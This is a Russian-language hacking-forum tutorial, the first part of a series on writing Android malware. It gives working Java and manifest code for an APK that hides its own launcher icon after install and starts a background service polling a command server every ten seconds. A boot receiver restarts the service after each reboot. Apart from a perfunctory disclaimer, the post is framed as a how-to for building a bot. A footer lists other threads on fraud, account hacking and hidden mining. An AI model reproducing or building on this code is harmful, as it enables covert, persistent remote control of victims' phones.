Как написать вирус для андроид

Admin

Original poster
Administrator
Сообщения
916
Реакции
753
Посетить сайт
Сегодня мы вообразим себя злыми хакерами и займемся написанием настоящего вируса для андроид системы. Мы подробно и с примерами расскажем о основных этапах написания вируса для операционной системы андроид. Не лишним будет напомнить, что эта статья предназначена только для удовлетворения вашего исследовательского интереса. И писать а тем более распространять вирусы не стоит.
the-new-android-malware-that-spies-on-you.jpg
Как стать «хакером» андроида.
Да тут особо ничего мудрить не надо. Просто идем по шагам.
1. Устанавливаем java для разработчиков с офф сайта. (

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

)
2. Скачиваем android studio (

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

) Качаем полную рекомендованую. Сейчас мы не будем вдаваться в эти все подробности. Оно нам надо?
3. Запасаемся бубликами и пивом. Ведь сейчас придется все это поставить и настроить.
4. Тыкаем в основном далее, не вдумываясь что там написано. Незачем забивать голову.
5. После чего как мы установили все это. Запускаем студию. Ищем сверху значек SDK Manager. Он где-то справа. Нажимаем, ставим везде галки, соглашаемся с условиями и нажимаем инсталл.
6. Опять грызем бублики и пьем великолепное пиво. Тут процесс по дольше, так как будут выкачиваться виртуалки и всяческие тулзы.
7. Ну вот собственно и все.

Как все начиналось?
Мы все поставили, теперь стоит и подумать, а как тут теперь вирус написать. А для этого мы идем в File -> New -> New project. И тут нам предлогают придумать название проекта и домен сайта компании. Вводим что взбредится в голову. На основе этих данных генерируется package имя. Которое использоется как уникальный идентефикатор нашего APK. Жмем далее. Тут нам предлогают выбрать платфурму под наш проект. Ну тут мы выбираем только Phone. Остальное рассмотрим позже.
Далее. И теперь нам предлогают выбрать как будет выглядеть наше окошечко (Activity) стартовое, главное. Тут есть важная особенность. Чтобы запустить какой либо код сразу после установки, нужно чтобы было какой либо из окошек при старте. Поэтому выбираем любое кроме No Activity. Лучше всего выбрать Empty. Будет легче его вычищать, от ненужного мусора. Далее. Пишем название окошку и нажимаем Finish.
Пока файлы нового проекта индексируются и настраивается сборщик проекта.

Пробуем собрать проект наш. Build -> Generate signed apk.. И что мы видим? APK с 1 окошком и приложением которое ни чего не делает. Занимает 1 мегабайт. Надо с этим что-то делать, а именно отказывать от библиотек (AppCompat). Это красивая графика, которая нам не нужна.
Переходи в файл MainActivity.java
Заменяем
Код:
public class MainActivity extends AppCompatActivity
на
Код:
public class MainActivity extends Activity
Удаляем
import android.support.v7.app.AppCompatActivity;[/CODE]
Заходим в настройки проекта и во вкладке Dependes удаляем строку с AppCompat. Далее переходим к файлу values.xml и styles.xml. Удаляем их.
Заходим в androidManifest.xml и
меняем
Код:
android:theme="@style/AppTheme"
на
Код:
android:theme="@android:style/Theme.Translucent.NoTitleBar"
Собираем наше приложение, ура! размер меньше 40 кб. Уже есть с чем работать.
Далее, нам нужно спрятать нашего зверька. Чтобы иконка не была видна в списке менеджера приложений. А так же надо закрыть наше приложение.
Вставляем после setContentView(R.layout.activity_main) Следующий код:
Код:
String pgkname = getApplicationContext().getPackageName();
ComponentName componentToDisable = new ComponentName(pgkname,pgkname+".MainActivity");
getApplicationContext().getPackageManager().setComponentEnabledSetting(
  componentToDisable,
  PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
  PackageManager.DONT_KILL_APP);
Этот код скроет нашу иконку с глаз И после всего этого пишем:
Код:
finish();
Теперь наше приложение после установки. Запускается и сразу же скрывается с глаз долой. Ух, проделали мы работу. Но надо идти дальше, а то бот не появиться в админке.

Теперь мы должны сделать так, чтобы наш чудесный APK начал стучать в админку. Тут я уже полагаю, что админка где-то написана. И от нас требуется только стучать. Возьмем самый простой метод, он не будет работать корректно на андроидах выше 4.х. Но с чего-то надо же учиться. Я же не за вас работу делаю. Нам нужно создать сервис. Для этого мы создаем файл с новым class. (Правой тыкаем в проекте, на папку Java). Название класса пишем к примеру Network. Нажимаем окей. Удаляем все содержимое файла кроме первой строки где прописан package и заменяем на
Код:
import android.app.Service;
import android.content.Intent;
import android.os.IBinder;
import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.StringEntity;
import org.apache.http.impl.client.DefaultHttpClient;
import java.io.InputStream;
import java.util.Timer;
import java.util.TimerTask;
public class Network extends Service{
   @Override
   public int onStartCommand(Intent intent, int flags, int startId) {
       return Service.START_STICKY;
   }
   @Override
   public IBinder onBind(Intent intent) {
       throw new UnsupportedOperationException("");
   }
   @Override
   public void onCreate()
   {
       MyTimerTask myTask = new MyTimerTask();
       Timer myTimer = new Timer();
       myTimer.schedule(myTask, 10000, 10000);
   }
   class MyTimerTask extends TimerTask {
       public void run() {
           String result = "";
           result = GET("http://site.ru/?q=");
           // Обработка result
       }
   }
   public String GET(String url){
       InputStream inputStream = null;
       String result = "";
       try {
           HttpClient httpclient = new DefaultHttpClient();
           HttpResponse httpResponse = httpclient.execute(new HttpGet(url));
           inputStream = httpResponse.getEntity().getContent();
           if(inputStream != null)
               result = convertInputStreamToString(inputStream);
           else
               result = "";
       } catch (Exception e) {
       }
       return result;
   }
}
Это код описывает класс сервиса, в котором при запуске, запускает таймер и каждые 10 секунд отправляет GET запрос на URL и запрашивает ответ. Но это не все. Этот код не будет работать если мы объявим наш сервис в манифесте и не дадим права выходить в интернет нашему приложению. Идем в манифест.
Добавляем
Код:
<uses-permission android:name="android.permission.INTERNET" />
и в описание application
Код:
<service android:name=".Network" />
Осталось запустить наш сервис. Идем в MainActivity и перед finish() вставляем запуск сервиса
Код:
getApplicationContext().startService(new Intent(getApplicationContext(), Network.class));
Теперь у нас есть апк, который сам себя скрывает после запуска и запускает процес отстука в админ панель. Где написано // Обработка result : там происходит обработка ответа и команд админки. Не сложно, правда? Но пока мы пили пиво. Мы совсем забыли, что если телефон перезагрузят. То наше приложение уже ни когда не запустится. Для этого мы идем опять в манифест.
Добавляем права на запуск после ребута:
Код:
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
Добавляем обязательно обработчик в описание application
Код:
<receiver
           android:name=".Boot"
           android:enabled="true" >
           <intent-filter>
               <action android:name="android.intent.action.BOOT_COMPLETED" />
               <action android:name="android.intent.action.QUICKBOOT_POWERON" />
           </intent-filter>
       </receiver>
Теперь после перезапуска у нас вызовется класс Boot. И сейчас мы его создаим. Все делаем как я писал выше. Создали и удалили все кроме package.
Код:
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class Boot extends BroadcastReceiver {
   @Override
   public void onReceive(Context context, Intent arg1) {
context.startService(new Intent(context, Network.class));
   }
}
 
Название темы
Автор Заголовок Раздел Ответы Дата
Admin Как написать вирус для Андроид. Часть 5 Вирусология 0
Admin Как написать вирус для Андроид. Часть 4 Вирусология 0
Admin Как написать вирус для Андроид. Часть 3 Вирусология 0
Admin Как написать вирус для андроид. Часть 2 Вирусология 1
G Как написать безопасный код на JS Другие ЯП 0
АнАлЬнАя ЧуПаКаБрА [Гайд] - Как написать человеку в Вк если вы у него в ЧС. Другое 0
S Как написать сообщение вк если ты в чс СИ/Фишинг/Мошенничество 41
R Как написать простейший компилятор Другие ЯП 0
Emilio_Gaviriya Статья Metadata Cleaner: Как эффективно защитить свою приватность при обмене файлами. Анонимность и приватность 0
Emilio_Gaviriya Как вычислить местоположение по IP-адресу? Статьи 0
Emilio_Gaviriya Статья Как работает JSON Web Token. Анонимность и приватность 0
Emilio_Gaviriya Статья Как происходит ICMP атака. Уязвимости и взлом 0
Emilio_Gaviriya Статья Как ловить хакеров на живца. Уязвимости и взлом 0
Emilio_Gaviriya Как работать с Search4Faces. Статьи 0
Emilio_Gaviriya Статья Как найти Wi-Fi точки. WiFi/Wardriving/Bluejacking 0
Emilio_Gaviriya Статья Как распространяются вирусы? Вирусология 0
Emilio_Gaviriya Статья Как найти человека? Полезные статьи 4
Emilio_Gaviriya Статья Как обнаружить 10 популярных техник пентестеров. Уязвимости и взлом 0
Emilio_Gaviriya Статья Как работает Анти-DDoS. Уязвимости и взлом 0
Emilio_Gaviriya Статья Как получают привязанный к Telegram мобильный номер. Анонимность и приватность 0
Emilio_Gaviriya Статья Как заразить компьютер с помощью обычного ярлыка. Полезные статьи 0
Emilio_Gaviriya Статья Защита конфиденциальности: Как сбросить данные на Android в экстренных ситуациях. Полезные статьи 0
Emilio_Gaviriya Статья Безопасность в сети: Как избежать угроз при использовании коротких ссылок. Уязвимости и взлом 0
Emilio_Gaviriya Статья Как вас деанонимизируют силовики. Анонимность и приватность 0
Emilio_Gaviriya Статья Как следит провайдер? Анонимность и приватность 1
Emilio_Gaviriya Статья Как вычисляют мобильник? Анонимность и приватность 0
Support81 Как хакеры взломали мир: 14 самых громких взломов 2023 года Новости в сети 1
DELTABEK Как зарабатывать 100.000 рублей в день на арбитраже криптовалют? Способы заработка 5
Support81 Как минимум 7 друзей ShadowSyndicate: компании всего мира под прицелом киберальянса Новости в сети 0
Support81 Как взломать сайт за 5 минут: уязвимость в плагине Ultimate Member дает полный доступ к WordPress Новости в сети 0
Traven Как создать свою криптовалюту без знаний и зарабатывать 40000$ в месяц (паста) Способы заработка 0
yaNaSvyazi [Wealth Whispers] [Udemy] Как использовать ChatGPT для YouTube (2023) Способы заработка 0
yaNaSvyazi [Виталий Бруновский] [Udemy] Как заработать с помощью ChatGPT? (2023) Способы заработка 0
yaNaSvyazi [Катерина Яшина] Как заработать на нейросетях первым (2023) Способы заработка 0
alexgoldboy Как вернуть убытки на Pocket Option? Ищу работу. Предлагаю свои услуги. 1
Gorsilov Подскажите что с етими базами делать? и Как? Вопросы и интересы 0
D Как поставить лайк? или убрать хайд? может ли не показываться кнопка лайка? Вопросы и интересы 7
yaNaSvyazi Как заработать на продаже курсов подготовки к ЕГЭ Способы заработка 0
S Как отменить отправленную транзакцию Bitcoin Свободное общение и флейм 0
A Как взломать аккаунт в инстограме Вопросы и интересы 1
I Как слать Zelle с Chase Полезные статьи 0
L Как отменить отправленную транзакцию BTC Корзина 0
D Как найти клон страницы ВК Вопросы и интересы 1
N Как подключится к видеокамерам сервера зная пароль отт маршрутизатора? Вопросы и интересы 5
M Закрыто Обучение Google ADS. Как лить на любые фейки без суспенда. + Продам логи без соседей + гугл разбаны ручной фарм Корзина 2
semsvm Интересно Как можно заработать на кошельке Payeer. Способы заработка 1
S Как сейчас купить доллары в РФ? Свободное общение и флейм 3
AHAHAC Интересно Как просто начать скрытый майнинг Способы заработка 1
Alldied Как заработать около $1000 на американской бирже. Способы заработка 1
Dolphin Anty Как выбрать антидетект браузер ❓ Продажа софта 0

Название темы